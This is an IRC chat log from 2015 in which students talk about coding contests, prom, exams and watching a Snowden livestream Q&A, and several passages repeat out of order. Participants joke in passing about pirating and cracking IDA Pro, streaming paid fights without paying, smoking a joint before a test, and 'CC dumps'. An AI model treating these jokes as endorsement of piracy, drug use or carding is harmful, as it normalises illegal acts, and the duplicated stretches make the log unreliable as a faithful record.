[2015-05-01T19:52:33-0400] <alokpathy> Interestingly, the person who suggested the Pokemon theme didn't go to the Spring2015 contest XD
[2015-05-01T19:52:38-0400] <alokpathy> Lol yeah
[2015-05-01T19:53:00-0400] <+awe> alokpathy: did you guys not go in Spring 2015?
[2015-05-01T19:53:05-0400] <+awe> I mean, I assume not.
[2015-05-01T19:53:14-0400] <+awe> Because you didn't place but another WWP team did.
[2015-05-01T19:53:18-0400] <+awe> well, they got honorable mention, but still.
[2015-05-01T19:54:51-0400] <+awe> "PClassic happened in the fall for the second time, on December 6th, 2014. It grew to its largest size yet, with 350 students on 100 teams from over 30 schools. Participants came from Pennsylvania, Maryland, New Jersey, New York, Virginia, and even Florida! "
[2015-05-01T19:54:57-0400] <+awe> They came from Florida and didn't even place. That's embarassing.
[2015-05-01T20:05:28-0400] <alokpathy> awe: We went, but we kinda tanked.
[2015-05-01T20:05:36-0400] <+awe> Really?
[2015-05-01T20:05:40-0400] <alokpathy> Yeah
[2015-05-01T20:05:43-0400] <+awe> Why...?
[2015-05-01T20:05:59-0400] <alokpathy> Implementation 2 hard
[2015-05-01T20:06:27-0400] <+awe> lol
[2015-05-01T20:07:05-0400] <alokpathy> It was really unexpected, lol
[2015-05-01T20:07:36-0400] <alokpathy> seeing as we had more practices and that they allowed Python, which helped Jacob
[2015-05-01T20:12:20-0400] <+awe> alokpathy: It clearly didn't help as a whole. :p
[2015-05-01T20:13:39-0400] <alokpathy> Lol, yeah
[2015-05-01T20:14:09-0400] <alokpathy> Chris, Brice, and I went to another competition so we wouldn't leave high school with that taste in our mouths.
[2015-05-01T20:45:58-0400] <alokpathy> jwoglom: So many people are leaving DS .-.
[2015-05-01T20:54:45-0400] <Tamini_> alokpathy: does this mean 0/0/0/7/7/7
[2015-05-01T20:55:01-0400] <Tamini_> also does this mean he didnt even win what
[2015-05-01T20:56:28-0400] <alokpathy> I have no idea.
[2015-05-01T20:56:47-0400] <Tamini_> :<
[2015-05-01T20:56:59-0400] <Tamini_> does this mean he wont make imo
[2015-05-01T20:57:02-0400] <Tamini_> dammit briceee
[2015-05-01T20:57:28-0400] <alokpathy> I have noooooo idea
[2015-05-01T20:57:53-0400] <alokpathy> It sorta seemed like a lot of people thought it was hard
[2015-05-01T21:02:52-0400] <jwoglom> z3t: taking a subject test tomorrow at woodson, was just wondering
[2015-05-01T21:10:02-0400] <z3t> ah, you get to see a school that's not shit
[2015-05-01T21:10:15-0400] <z3t> GL
[2015-05-01T21:49:55-0400] <Tamini_> wait omg
[2015-05-01T21:50:03-0400] <Tamini_> i feel really cute rn
[2015-05-01T21:50:12-0400] <Tamini_> im trying on clothes and LOL
[2015-05-01T21:50:12-0400] <+awe> Tamini_: prolly true, doe
[2015-05-01T21:50:13-0400] <+awe> ;)
[2015-05-01T21:50:24-0400] <Tamini_> awe: can i show you my prom dress
[2015-05-01T21:50:26-0400] <Tamini_> LOL
[2015-05-01T21:50:27-0400] <+awe> Yes!
[2015-05-01T21:50:35-0400] <Tamini_> also i'm trying on my asking outfit
[2015-05-01T21:50:50-0400] <Tamini_> which is much more skirt-and-heels than i ever wear
[2015-05-01T21:50:57-0400] <Tamini_> and i feel cute! :D
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[2015-05-01T21:51:19-0400] <+awe> Hahahaha, you have a special outfit planned to ask. That's cute.
[2015-05-01T21:51:49-0400] <Tamini_> well okay
[2015-05-01T21:51:54-0400] <Tamini_> it's during AP week
[2015-05-01T21:52:01-0400] <Tamini_> my normal outfit = sweats and a hoodie
[2015-05-01T21:53:25-0400] <Tamini_> i need to plan a day to look cute
[2015-05-01T21:53:35-0400] <alokpathy> Solution: Look cute everyday
[2015-05-01T21:53:44-0400] <assface> cargo shorts and t shirt is better
[2015-05-01T21:54:00-0400] <assface> I have like 30 gallons of storage in my shorts if I need it
[2015-05-01T21:54:37-0400] <Tamini_> alokpathy: that takes time and effort bruh
[2015-05-01T21:55:17-0400] <+awe> My goal is to look cute everyday.
[2015-05-01T21:55:31-0400] <alokpathy> awe: succeeds everyday at it
[2015-05-01T21:56:23-0400] <alokpathy> Tamini_: You should make awe your role model :P
[2015-05-01T21:57:05-0400] <Tamini_> alokpathy: but that requires that i get up in the mornings
[2015-05-01T21:57:32-0400] <assface> ^ridiculous
[2015-05-01T21:57:50-0400] <Tamini_> my prom dress is awe approved
[2015-05-01T21:57:55-0400] <+awe> Indeed.
[2015-05-01T21:58:05-0400] <alokpathy> awe-pproved
[2015-05-01T21:58:14-0400] <Tamini_> :D
[2015-05-01T21:59:14-0400] <assface> you should just show up in sweats and a hoodie
[2015-05-01T22:00:53-0400] <Tamini_> if i didnt think the guy was the shit i would
[2015-05-01T22:00:57-0400] <Tamini_> :P
[2015-05-01T22:01:30-0400] <assface> he's the shit?
[2015-05-01T22:01:44-0400] <Tamini_> he's the shit
[2015-05-01T22:01:44-0400] <assface> you make it sound like a good thing
[2015-05-01T22:01:50-0400] <Tamini_> LOL
[2015-05-01T22:01:55-0400] <LittleBobbyTables> She's obviously very much into scat.
[2015-05-01T22:01:59-0400] <assface> apparently
[2015-05-01T22:02:02-0400] <Tamini_> obv
[2015-05-01T22:02:12-0400] <Tamini_> jacobo do you wanna see how cute i look
[2015-05-01T22:02:20-0400] <LittleBobbyTables> not particularily
[2015-05-01T22:02:26-0400] <LittleBobbyTables> but I have a feeling you're going to show me anyway
[2015-05-01T22:02:33-0400] <+awe> assface: If you put *the* in front of it, it *is* a good thing.
[2015-05-01T22:02:51-0400] <Tamini_> LittleBobbyTables: nah, never mind then
[2015-05-01T22:03:11-0400] <assface> rekt
[2015-05-01T22:03:11-0400] <LittleBobbyTables> "he's the sh the it"?
[2015-05-01T22:03:36-0400] <Tamini_> yep!
[2015-05-01T22:11:20-0400] <z3t> ugh imgur api so annoying
[2015-05-01T22:16:49-0400] <assface> lol
[2015-05-01T22:20:44-0400] <LittleBobbyTables> Why are you even playing with it
[2015-05-01T22:23:37-0400] <z3t> makes something i'm doing a lot easier
[2015-05-01T22:23:41-0400] <z3t> if I can get it to work, that is...
[2015-05-01T22:24:30-0400] <LittleBobbyTables> What are you trying to do
[2015-05-01T22:33:02-0400] <LittleBobbyTables> I get cheap tickets to Pitch Perfect 2 <3
[2015-05-01T22:44:16-0400] <z3t> goddamn reddit api too
[2015-05-01T23:14:56-0400] <LittleBobbyTables> reddit api is ez pz
[2015-05-01T23:17:47-0400] <z3t> I get random 503s though ;(
[2015-05-01T23:21:06-0400] <LittleBobbyTables> that's cause you're bad
[2015-05-01T23:50:43-0400] <assface> goddamn SAT tomorrow
[2015-05-01T23:51:23-0400] <alokpathy> gl hf dd
[2015-05-01T23:51:24-0400] <+awe> assface: good luck, friend!
[2015-05-01T23:51:42-0400] <alokpathy> assface: but actually good luck!
[2015-05-01T23:51:46-0400] <+awe> assface: I can give you some advice from my experiences taking the ACT!
[2015-05-01T23:51:50-0400] <+awe> assface: Smoke a joint the night before.
[2015-05-01T23:51:54-0400] <+awe> assface: It'll be more fun.
[2015-05-01T23:52:50-0400] <LittleBobbyTables> awe: wanna buy me a clc
[2015-05-01T23:53:23-0400] <+awe> What is a CLC?
[2015-05-01T23:54:06-0400] • LittleBobbyTables: http://pcpartpicker.com/part/cooler-master-cpu-cooler-rls24m24pkr1
[2015-05-01T23:56:44-0400] <assface> awe: sounds like a plan. Just gotta find a joint
[2015-05-01T23:57:25-0400] <z3t> finally got IDA pro :L
[2015-05-01T23:59:10-0400] <assface> closed loop cooling
[2015-05-02T00:09:57-0400] <Tamini> yaay
[2015-05-02T00:10:48-0400] <assface> ayyy
[2015-05-02T00:12:44-0400] <LittleBobbyTables> z3t: for free
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[2015-05-01T21:59:14-0400] <assface> you should just show up in sweats and a hoodie
[2015-05-01T22:00:53-0400] <Tamini_> if i didnt think the guy was the shit i would
[2015-05-01T22:00:57-0400] <Tamini_> :P
[2015-05-01T22:01:30-0400] <assface> he's the shit?
[2015-05-01T22:01:44-0400] <Tamini_> he's the shit
[2015-05-01T22:01:44-0400] <assface> you make it sound like a good thing
[2015-05-01T22:01:50-0400] <Tamini_> LOL
[2015-05-01T22:01:55-0400] <LittleBobbyTables> She's obviously very much into scat.
[2015-05-01T22:01:59-0400] <assface> apparently
[2015-05-01T22:02:02-0400] <Tamini_> obv
[2015-05-01T22:02:12-0400] <Tamini_> jacobo do you wanna see how cute i look
[2015-05-01T22:02:20-0400] <LittleBobbyTables> not particularily
[2015-05-01T22:02:26-0400] <LittleBobbyTables> but I have a feeling you're going to show me anyway
[2015-05-01T22:02:33-0400] <+awe> assface: If you put *the* in front of it, it *is* a good thing.
[2015-05-01T22:02:51-0400] <Tamini_> LittleBobbyTables: nah, never mind then
[2015-05-01T22:03:11-0400] <assface> rekt
[2015-05-01T22:03:11-0400] <LittleBobbyTables> "he's the sh the it"?
[2015-05-01T22:03:36-0400] <Tamini_> yep!
[2015-05-01T22:11:20-0400] <z3t> ugh imgur api so annoying
[2015-05-01T22:16:49-0400] <assface> lol
[2015-05-01T22:20:44-0400] <LittleBobbyTables> Why are you even playing with it
[2015-05-01T22:23:37-0400] <z3t> makes something i'm doing a lot easier
[2015-05-01T22:23:41-0400] <z3t> if I can get it to work, that is...
[2015-05-01T22:24:30-0400] <LittleBobbyTables> What are you trying to do
[2015-05-01T22:33:02-0400] <LittleBobbyTables> I get cheap tickets to Pitch Perfect 2 <3
[2015-05-01T22:44:16-0400] <z3t> goddamn reddit api too
[2015-05-01T23:14:56-0400] <LittleBobbyTables> reddit api is ez pz
[2015-05-01T23:17:47-0400] <z3t> I get random 503s though ;(
[2015-05-01T23:21:06-0400] <LittleBobbyTables> that's cause you're bad
[2015-05-01T23:50:43-0400] <assface> goddamn SAT tomorrow
[2015-05-01T23:51:23-0400] <alokpathy> gl hf dd
[2015-05-01T23:51:24-0400] <+awe> assface: good luck, friend!
[2015-05-01T23:51:42-0400] <alokpathy> assface: but actually good luck!
[2015-05-01T23:51:46-0400] <+awe> assface: I can give you some advice from my experiences taking the ACT!
[2015-05-01T23:51:50-0400] <+awe> assface: Smoke a joint the night before.
[2015-05-01T23:51:54-0400] <+awe> assface: It'll be more fun.
[2015-05-01T23:52:50-0400] <LittleBobbyTables> awe: wanna buy me a clc
[2015-05-01T23:53:23-0400] <+awe> What is a CLC?
[2015-05-01T23:54:06-0400] • LittleBobbyTables: http://pcpartpicker.com/part/cooler-master-cpu-cooler-rls24m24pkr1
[2015-05-01T23:56:44-0400] <assface> awe: sounds like a plan. Just gotta find a joint
[2015-05-01T23:57:25-0400] <z3t> finally got IDA pro :L
[2015-05-01T23:59:10-0400] <assface> closed loop cooling
[2015-05-02T00:09:57-0400] <Tamini> yaay
[2015-05-02T00:10:48-0400] <assface> ayyy
[2015-05-02T00:12:44-0400] <LittleBobbyTables> z3t: for free
[2015-05-02T00:37:09-0400] <z3t> ye LittleBobbyTables 
[2015-05-02T00:39:52-0400] <LittleBobbyTables> did you pirataea it
[2015-05-02T00:39:54-0400] <LittleBobbyTables> nurd
[2015-05-02T00:46:35-0400] <z3t> maybe...
[2015-05-02T00:49:42-0400] <LittleBobbyTables> ...
[2015-05-02T01:01:42-0400] Mode is +nrt
[2015-05-02T01:01:58-0400] <+awe> LittleBobbyTables: nobody pays for IDA.
[2015-05-02T01:02:21-0400] <LittleBobbyTables> Somebody has to, how else would we get the cracks
[2015-05-02T01:10:32-0400] <+awe> IDA employee uses IDA to crack IDA
[2015-05-02T01:11:33-0400] <z3t> lol
[2015-05-02T01:11:47-0400] <LittleBobbyTables> seems legit
[2015-05-02T01:16:06-0400] <+awe> Wow, I'm four days away from hitting a 200 day github streak.
[2015-05-02T01:16:39-0400] <+awe> Though this is no longer apparent to curious onlookers because of private repo.
[2015-05-02T01:17:09-0400] <LittleBobbyTables> z3t: pacman, yes?
[2015-05-02T01:28:14-0400] <z3t> pacman?
[2015-05-02T01:29:37-0400] <LittleBobbyTables> Manny Pacquiao?
[2015-05-02T01:31:21-0400] <z3t> ofc
[2015-05-02T01:36:05-0400] <LittleBobbyTables> Good choice.
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[2015-05-02T01:40:47-0400] <z3t> you know of any site that'll be streaming it?
[2015-05-02T01:42:20-0400] <LittleBobbyTables> Sadly not
[2015-05-02T01:42:38-0400] <LittleBobbyTables> I know Pacman wanted it to be streamed online for free, but HBO said "HA fuck you, no."
[2015-05-02T01:43:14-0400] <z3t> yeah I ain't doing $150 to watch it lol
[2015-05-02T01:43:28-0400] <LittleBobbyTables> 100
[2015-05-02T01:43:36-0400] <z3t> same thing
[2015-05-02T01:43:36-0400] <LittleBobbyTables> Lots of streaming sites have been sued already
[2015-05-02T01:43:58-0400] <LittleBobbyTables> boxinghd.net and sportship.org have both died
[2015-05-02T01:45:51-0400] <LittleBobbyTables> You'll probably just have to google around when it gets time
[2015-05-02T01:49:46-0400] <z3t> 9pm EDT, hm might not be home :l
[2015-05-02T02:53:04-0400] <z3t> I really need to make my bot learn what not to say in certain places...
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[2015-05-02T09:48:33-0400] <JacobEdelman> gmorning all
[2015-05-02T09:48:53-0400] <JacobEdelman> at conference with edward snowden via telepresences 
[2015-05-02T09:48:59-0400] <JacobEdelman> *telepresence
[2015-05-02T09:55:25-0400] <JacobEdelman>  you guys should watch the live stream: http://mediacentrallive.princeton.edu/
[2015-05-02T09:55:41-0400] <JacobEdelman> it hasn't started yet, but you can see me on the livestream
[2015-05-02T09:55:44-0400] <JacobEdelman> :P
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[2015-05-02T11:42:29-0400] <+awe> JacobEdelman: this is the second time in two days that I'm looking at a livestream to see someone I know on it.
[2015-05-02T11:42:44-0400] <+awe> JacobEdelman: nope, it's too late. I can't see you on it now.
[2015-05-02T11:43:52-0400] <JacobEdelman> soon
[2015-05-02T11:43:57-0400] <JacobEdelman> they are taking questions
[2015-05-02T11:43:59-0400] <JacobEdelman> next
[2015-05-02T11:44:01-0400] <JacobEdelman> and I will ask
[2015-05-02T11:44:22-0400] <jwoglom> JacobEdelman: are they going to offer a recording after it's over? :P
[2015-05-02T11:49:54-0400] <JacobEdelman> probably?
[2015-05-02T11:49:57-0400] <JacobEdelman> I hope
[2015-05-02T11:50:00-0400] <alokpathy> Whoever's interested in baseball should join #baseball :)
[2015-05-02T11:56:23-0400] <alokpathy> awe: Wait, school's over for you, right?
[2015-05-02T11:56:35-0400] <+awe> Yeah, exams on Monday and Tuesday, but I'm done.
[2015-05-02T11:56:45-0400] <alokpathy> Oh dude nice
[2015-05-02T11:56:47-0400] <alokpathy> :D
[2015-05-02T11:57:03-0400] <alokpathy> Are you staying in MA for the research immediately or are you coming down to NJ or FL first?
[2015-05-02T11:57:44-0400] <+awe> I SEE JacobEdelman!
[2015-05-02T11:57:50-0400] <+awe> JACOB, ASK A QUESTION
[2015-05-02T11:57:57-0400] <JacobEdelman> soon
[2015-05-02T11:58:01-0400] <JacobEdelman> my hand keeps going up
[2015-05-02T11:58:04-0400] <JacobEdelman> hopefully soon
[2015-05-02T11:58:21-0400] <+awe> alokpathy: I'll be in New Jersey for a little, then back in Florida for two weeks, and then in NJ again for a bit.
[2015-05-02T11:58:49-0400] <alokpathy> awe: Will you be in NJ during HSCTF? :O
[2015-05-02T11:59:06-0400] <+awe> I'm flying back on the 22nd.
[2015-05-02T11:59:15-0400] <+awe> So, I'll be in NJ from the night of the 22nd on.
[2015-05-02T11:59:23-0400] <JacobEdelman> alokpathy: we are working on scheduling the meetup
[2015-05-02T11:59:25-0400] <+awe> until probably the 25th when I go back up.
[2015-05-02T11:59:32-0400] <alokpathy> Oh look I see Jacob
[2015-05-02T11:59:36-0400] <alokpathy> Ah okay
[2015-05-02T11:59:49-0400] <jwoglom> where is he in the audience?
[2015-05-02T11:59:54-0400] <+awe> He's in the shot right now.
[2015-05-02T11:59:56-0400] <+awe> Dropbox shirt.
[2015-05-02T11:59:58-0400] <+awe> Top left corner.
[2015-05-02T12:00:08-0400] <+awe> He's out of the shot now.
[2015-05-02T12:00:14-0400] <alokpathy> awe: So you can visit on the last day of HSCTF :3
[2015-05-02T12:00:17-0400] <+awe> Or well, he's at the bottom of the shot and you can only see the back of his head.
[2015-05-02T12:00:18-0400] <+awe> alokpathy: Yeah.
[2015-05-02T12:00:29-0400] <jwoglom> ayyy!
[2015-05-02T12:00:30-0400] <alokpathy> JACOB
[2015-05-02T12:00:59-0400] <+awe> YES
[2015-05-02T12:01:01-0400] <+awe> THEY CALLED ON JACOB
[2015-05-02T12:01:02-0400] <+awe> WOOOO
[2015-05-02T12:01:16-0400] <JacobEdelman> :)
[2015-05-02T12:01:28-0400] <jwoglom> :D
[2015-05-02T12:01:32-0400] <+awe> Oh my. Jacob got old.
[2015-05-02T12:01:41-0400] <+awe> His voice finally got lower.
[2015-05-02T12:01:48-0400] <JacobEdelman> nah
[2015-05-02T12:01:52-0400] <JacobEdelman> thats the mic
[2015-05-02T12:01:55-0400] <JacobEdelman> and me being nervous
[2015-05-02T12:02:00-0400] <+awe> Are you sure?
[2015-05-02T12:02:04-0400] <+awe> You sounded like Ben.
[2015-05-02T12:02:11-0400] <+awe> Well, more like Ben than you normally do.
[2015-05-02T12:02:13-0400] <jwoglom> listen to him! :P
[2015-05-02T12:05:17-0400] <+awe> That was exciting.
[2015-05-02T12:05:34-0400] <jwoglom> not bad dude
[2015-05-02T12:05:36-0400] <JacobEdelman> So... did you like the question?
[2015-05-02T12:05:38-0400] <jwoglom> you just talked to edward snowden
[2015-05-02T12:05:42-0400] <JacobEdelman> yup
[2015-05-02T12:05:47-0400] <jwoglom> you kinda answered it yourself though :P
[2015-05-02T12:05:56-0400] <JacobEdelman> well
[2015-05-02T12:05:58-0400] <JacobEdelman> he kinda said no
[2015-05-02T12:06:04-0400] <JacobEdelman> he said they wouldn't use the data probabbly
[2015-05-02T12:06:20-0400] <jwoglom> probably, though
[2015-05-02T12:06:25-0400] <JacobEdelman> (I was kinda reffering to the silk road thing he mentioend earlier where they got the guys diary)
[2015-05-02T12:06:26-0400] <jwoglom> whether they do or not we'll really not know
[2015-05-02T12:06:34-0400] <JacobEdelman> well
[2015-05-02T12:06:37-0400] <JacobEdelman> if in a decade 
[2015-05-02T12:06:58-0400] <JacobEdelman> when awe is finally captured by the usa gov for attempting to overthrow them
[2015-05-02T12:07:17-0400] <JacobEdelman> we will find out if they bring up awe's elmentary school essays
[2015-05-02T12:07:29-0400] <+awe> JacobEdelman: when he said that stuff about professors getting monitored for their political views...
[2015-05-02T12:07:39-0400] <+awe> JacobEdelman: I was like "Oh boy. If I'm not already on a list, I'm definitely going to be."
[2015-05-02T12:07:49-0400] <JacobEdelman> yup
[2015-05-02T12:07:52-0400] <JacobEdelman> well
[2015-05-02T12:08:00-0400] <JacobEdelman> I happy
[2015-05-02T12:08:16-0400] <JacobEdelman> woooooooooooooooooo
[2015-05-02T12:08:31-0400] <JacobEdelman> and people clapped for his answer which they iddn't do for others
[2015-05-02T12:08:33-0400] <JacobEdelman> I happy
[2015-05-02T12:08:48-0400] <+awe> And you made everyone laugh by being a young'un.
[2015-05-02T12:08:58-0400] <LittleBobbyTables> Guys, why don't my CC dumps ever work
[2015-05-02T12:09:11-0400] <JacobEdelman> awe: well, I was confirming that I was young as they epxected
[2015-05-02T12:09:18-0400] <JacobEdelman> I cultivated the young look to a certain extent
[2015-05-02T12:09:26-0400] <JacobEdelman> aka, I shaved
[2015-05-02T12:09:40-0400] <+awe> You're a young faculty member for sure.
[2015-05-02T12:09:45-0400] <JacobEdelman> lol
[2015-05-02T12:09:51-0400] <JacobEdelman> wait, I thought he said family member
[2015-05-02T12:09:55-0400] <JacobEdelman> oh, that makes more sense
[2015-05-02T12:10:08-0400] <+awe> That's why everyone laughed.
[2015-05-02T12:10:11-0400] <JacobEdelman> yeah
[2015-05-02T12:10:12-0400] <+awe> You're a young faculty member. ;)
[2015-05-02T12:10:18-0400] <JacobEdelman> lol
[2015-05-02T12:11:15-0400] <LittleBobbyTables> watching this streamer
[2015-05-02T12:11:17-0400] <LittleBobbyTables> "Processor: Intel(R) Core(TM) i7-4870HQ CPU @ 2.50GHz (8 CPUs), ~2.5GHz"
[2015-05-02T12:12:55-0400] <+awe> You know, it's kind of funny because we do have solutions on the internet to hide the sources of messages.
[2015-05-02T12:13:17-0400] <+awe> Freenet is great, mang.
[2015-05-02T12:15:27-0400] <jwoglom> uh did the stream just die
[2015-05-02T12:15:30-0400] <+awe> No.
[2015-05-02T12:15:46-0400] <jwoglom> weird
[2015-05-02T12:15:57-0400] <jwoglom> it swapped to what looked like an info channel for a minute
[2015-05-02T12:15:57-0400] <+awe> Oh, yes, it just ended.
[2015-05-02T12:16:00-0400] <+awe> Yeah.
[2015-05-02T12:16:02-0400] <+awe> That's happening to me now.
[2015-05-02T12:16:17-0400] <jwoglom> and then it came back to everyone clapping as he was about to leave
[2015-05-02T12:16:47-0400] <LittleBobbyTables> You can't really hide the source of the message unless you can trust the middleman
[2015-05-02T12:17:29-0400] <+awe> JacobEdelman: If one in one million people are terrorists and they have a test that's 99% accurate for determining terrorists, they'll identify over 3m people falsely as terrorists.
[2015-05-02T12:17:45-0400] <+awe> LittleBobbyTables: no because the way Freenet works is that all requests are identical and passed along.
[2015-05-02T12:17:54-0400] <+awe> LittleBobbyTables: so, you can't actually know if the person asking you is asking for themselves or for someone else.
[2015-05-02T12:20:18-0400] <+awe> And you're not actually asking for whole websites, you're asking for this one little packet in a hashtable.
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[2015-05-02T12:05:42-0400] <JacobEdelman> yup
[2015-05-02T12:05:47-0400] <jwoglom> you kinda answered it yourself though :P
[2015-05-02T12:05:55-0400] <JacobEdelman> well
[2015-05-02T12:05:58-0400] <JacobEdelman> he kinda said no
[2015-05-02T12:06:04-0400] <JacobEdelman> he said they wouldn't use the data probabbly
[2015-05-02T12:06:20-0400] <jwoglom> probably, though
[2015-05-02T12:06:25-0400] <JacobEdelman> (I was kinda reffering to the silk road thing he mentioend earlier where they got the guys diary)
[2015-05-02T12:06:26-0400] <jwoglom> whether they do or not we'll really not know
[2015-05-02T12:06:34-0400] <JacobEdelman> well
[2015-05-02T12:06:37-0400] <JacobEdelman> if in a decade 
[2015-05-02T12:06:58-0400] <JacobEdelman> when awe is finally captured by the usa gov for attempting to overthrow them
[2015-05-02T12:07:17-0400] <JacobEdelman> we will find out if they bring up awe's elmentary school essays
[2015-05-02T12:07:29-0400] <+awe> JacobEdelman: when he said that stuff about professors getting monitored for their political views...
[2015-05-02T12:07:39-0400] <+awe> JacobEdelman: I was like "Oh boy. If I'm not already on a list, I'm definitely going to be."
[2015-05-02T12:07:49-0400] <JacobEdelman> yup
[2015-05-02T12:07:52-0400] <JacobEdelman> well
[2015-05-02T12:08:00-0400] <JacobEdelman> I happy
[2015-05-02T12:08:16-0400] <JacobEdelman> woooooooooooooooooo
[2015-05-02T12:08:31-0400] <JacobEdelman> and people clapped for his answer which they iddn't do for others
[2015-05-02T12:08:33-0400] <JacobEdelman> I happy
[2015-05-02T12:08:48-0400] <+awe> And you made everyone laugh by being a young'un.
[2015-05-02T12:08:58-0400] <LittleBobbyTables> Guys, why don't my CC dumps ever work
[2015-05-02T12:09:11-0400] <JacobEdelman> awe: well, I was confirming that I was young as they epxected
[2015-05-02T12:09:18-0400] <JacobEdelman> I cultivated the young look to a certain extent
[2015-05-02T12:09:26-0400] <JacobEdelman> aka, I shaved
[2015-05-02T12:09:40-0400] <+awe> You're a young faculty member for sure.
[2015-05-02T12:09:45-0400] <JacobEdelman> lol
[2015-05-02T12:09:51-0400] <JacobEdelman> wait, I thought he said family member
[2015-05-02T12:09:55-0400] <JacobEdelman> oh, that makes more sense
[2015-05-02T12:10:08-0400] <+awe> That's why everyone laughed.
[2015-05-02T12:10:11-0400] <JacobEdelman> yeah
[2015-05-02T12:10:12-0400] <+awe> You're a young faculty member. ;)
[2015-05-02T12:10:18-0400] <JacobEdelman> lol
[2015-05-02T12:11:15-0400] <LittleBobbyTables> watching this streamer
[2015-05-02T12:11:17-0400] <LittleBobbyTables> "Processor: Intel(R) Core(TM) i7-4870HQ CPU @ 2.50GHz (8 CPUs), ~2.5GHz"
[2015-05-02T12:12:54-0400] <+awe> You know, it's kind of funny because we do have solutions on the internet to hide the sources of messages.
[2015-05-02T12:13:17-0400] <+awe> Freenet is great, mang.
[2015-05-02T12:15:26-0400] <jwoglom> uh did the stream just die
[2015-05-02T12:15:30-0400] <+awe> No.
[2015-05-02T12:15:46-0400] <jwoglom> weird
[2015-05-02T12:15:57-0400] <jwoglom> it swapped to what looked like an info channel for a minute
[2015-05-02T12:15:57-0400] <+awe> Oh, yes, it just ended.
[2015-05-02T12:16:00-0400] <+awe> Yeah.
[2015-05-02T12:16:02-0400] <+awe> That's happening to me now.
[2015-05-02T12:16:17-0400] <jwoglom> and then it came back to everyone clapping as he was about to leave
[2015-05-02T12:16:47-0400] <LittleBobbyTables> You can't really hide the source of the message unless you can trust the middleman
[2015-05-02T12:17:29-0400] <+awe> JacobEdelman: If one in one million people are terrorists and they have a test that's 99% accurate for determining terrorists, they'll identify over 3m people falsely as terrorists.
[2015-05-02T12:17:45-0400] <+awe> LittleBobbyTables: no because the way Freenet works is that all requests are identical and passed along.
[2015-05-02T12:17:53-0400] <+awe> LittleBobbyTables: so, you can't actually know if the person asking you is asking for themselves or for someone else.
[2015-05-02T12:20:18-0400] <+awe> And you're not actually asking for whole websites, you're asking for this one little packet in a hashtable.
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[2015-05-02T12:05:42-0400] <JacobEdelman> yup
[2015-05-02T12:05:47-0400] <jwoglom> you kinda answered it yourself though :P
[2015-05-02T12:05:55-0400] <JacobEdelman> well
[2015-05-02T12:05:58-0400] <JacobEdelman> he kinda said no
[2015-05-02T12:06:04-0400] <JacobEdelman> he said they wouldn't use the data probabbly
[2015-05-02T12:06:20-0400] <jwoglom> probably, though
[2015-05-02T12:06:25-0400] <JacobEdelman> (I was kinda reffering to the silk road thing he mentioend earlier where they got the guys diary)
[2015-05-02T12:06:26-0400] <jwoglom> whether they do or not we'll really not know
[2015-05-02T12:06:34-0400] <JacobEdelman> well
[2015-05-02T12:06:37-0400] <JacobEdelman> if in a decade 
[2015-05-02T12:06:58-0400] <JacobEdelman> when awe is finally captured by the usa gov for attempting to overthrow them
[2015-05-02T12:07:17-0400] <JacobEdelman> we will find out if they bring up awe's elmentary school essays
[2015-05-02T12:07:29-0400] <+awe> JacobEdelman: when he said that stuff about professors getting monitored for their political views...
[2015-05-02T12:07:39-0400] <+awe> JacobEdelman: I was like "Oh boy. If I'm not already on a list, I'm definitely going to be."
[2015-05-02T12:07:49-0400] <JacobEdelman> yup
[2015-05-02T12:07:52-0400] <JacobEdelman> well
[2015-05-02T12:08:00-0400] <JacobEdelman> I happy
[2015-05-02T12:08:16-0400] <JacobEdelman> woooooooooooooooooo
[2015-05-02T12:08:31-0400] <JacobEdelman> and people clapped for his answer which they iddn't do for others
[2015-05-02T12:08:33-0400] <JacobEdelman> I happy
[2015-05-02T12:08:48-0400] <+awe> And you made everyone laugh by being a young'un.
[2015-05-02T12:08:58-0400] <LittleBobbyTables> Guys, why don't my CC dumps ever work
[2015-05-02T12:09:11-0400] <JacobEdelman> awe: well, I was confirming that I was young as they epxected
[2015-05-02T12:09:18-0400] <JacobEdelman> I cultivated the young look to a certain extent
[2015-05-02T12:09:26-0400] <JacobEdelman> aka, I shaved
[2015-05-02T12:09:40-0400] <+awe> You're a young faculty member for sure.
[2015-05-02T12:09:45-0400] <JacobEdelman> lol
[2015-05-02T12:09:51-0400] <JacobEdelman> wait, I thought he said family member
[2015-05-02T12:09:55-0400] <JacobEdelman> oh, that makes more sense
[2015-05-02T12:10:08-0400] <+awe> That's why everyone laughed.
[2015-05-02T12:10:11-0400] <JacobEdelman> yeah
[2015-05-02T12:10:12-0400] <+awe> You're a young faculty member. ;)
[2015-05-02T12:10:18-0400] <JacobEdelman> lol
[2015-05-02T12:11:15-0400] <LittleBobbyTables> watching this streamer
[2015-05-02T12:11:17-0400] <LittleBobbyTables> "Processor: Intel(R) Core(TM) i7-4870HQ CPU @ 2.50GHz (8 CPUs), ~2.5GHz"
[2015-05-02T12:12:54-0400] <+awe> You know, it's kind of funny because we do have solutions on the internet to hide the sources of messages.
[2015-05-02T12:13:17-0400] <+awe> Freenet is great, mang.
[2015-05-02T12:15:26-0400] <jwoglom> uh did the stream just die
[2015-05-02T12:15:30-0400] <+awe> No.
[2015-05-02T12:15:46-0400] <jwoglom> weird
[2015-05-02T12:15:57-0400] <jwoglom> it swapped to what looked like an info channel for a minute
[2015-05-02T12:15:57-0400] <+awe> Oh, yes, it just ended.
[2015-05-02T12:16:00-0400] <+awe> Yeah.
[2015-05-02T12:16:02-0400] <+awe> That's happening to me now.
[2015-05-02T12:16:17-0400] <jwoglom> and then it came back to everyone clapping as he was about to leave
[2015-05-02T12:16:47-0400] <LittleBobbyTables> You can't really hide the source of the message unless you can trust the middleman
[2015-05-02T12:17:29-0400] <+awe> JacobEdelman: If one in one million people are terrorists and they have a test that's 99% accurate for determining terrorists, they'll identify over 3m people falsely as terrorists.
[2015-05-02T12:17:45-0400] <+awe> LittleBobbyTables: no because the way Freenet works is that all requests are identical and passed along.
[2015-05-02T12:17:53-0400] <+awe> LittleBobbyTables: so, you can't actually know if the person asking you is asking for themselves or for someone else.
[2015-05-02T12:20:18-0400] <+awe> And you're not actually asking for whole websites, you're asking for this one little packet in a hashtable.
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[2015-05-02T14:33:54-0400] Set by awe on April 26, 2015 at 12:20:05 AM EDT
[2015-05-02T12:07:17-0400] <JacobEdelman> we will find out if they bring up awe's elmentary school essays
[2015-05-02T12:07:29-0400] <+awe> JacobEdelman: when he said that stuff about professors getting monitored for their political views...
[2015-05-02T12:07:39-0400] <+awe> JacobEdelman: I was like "Oh boy. If I'm not already on a list, I'm definitely going to be."
[2015-05-02T12:07:49-0400] <JacobEdelman> yup
